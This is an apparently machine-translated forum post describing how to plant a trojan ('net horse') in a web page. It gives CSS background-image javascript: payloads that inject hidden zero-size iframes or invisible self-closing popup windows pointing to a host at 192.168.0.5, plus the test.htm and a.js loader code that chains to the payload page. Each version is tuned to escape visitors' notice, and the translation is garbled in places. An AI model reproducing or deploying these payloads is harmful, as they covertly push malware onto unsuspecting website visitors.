Really can use, but also a little effect of the CSS hanging Horse Code Method _ security-related

Popular on the Internet:
Body
{
Background-image:url (' Javascript:document.write ("<iframe src=http://192.168.0.5/test.htm width=0 height=0> </iframe> ")")
}
This method causes the home page to be abnormal. Returns a blank.
Use the window.
Body
{
Background-image:url (' Javascript:open (' http://192.168.0.5/test.htm ') ')
}
A box pops up. Ugly easy to be found.
To improve:

Body
{
Background-image:url (Javascript:open (' http://192.168.0.5/test.htm ', ' newwindow ', ' height=0, width=0, top=1000, left =0, Toolbar=no, Menubar=no, Scrollbars=no, Resizable=no,location=no, Status=no ')
}
Test.htm inside the code, a.js for your net horse, pop up an invisible window, and after 5 seconds automatically off without prompting:
<script src= "A.js" ></script>
<script>
Window.opener=null;settimeout ("Window.close ();", 5000);
</script>
A.js content:
document.write (' <iframe src= ' http://192.168.0.5/calc.htm "></iframe>");
Please advise.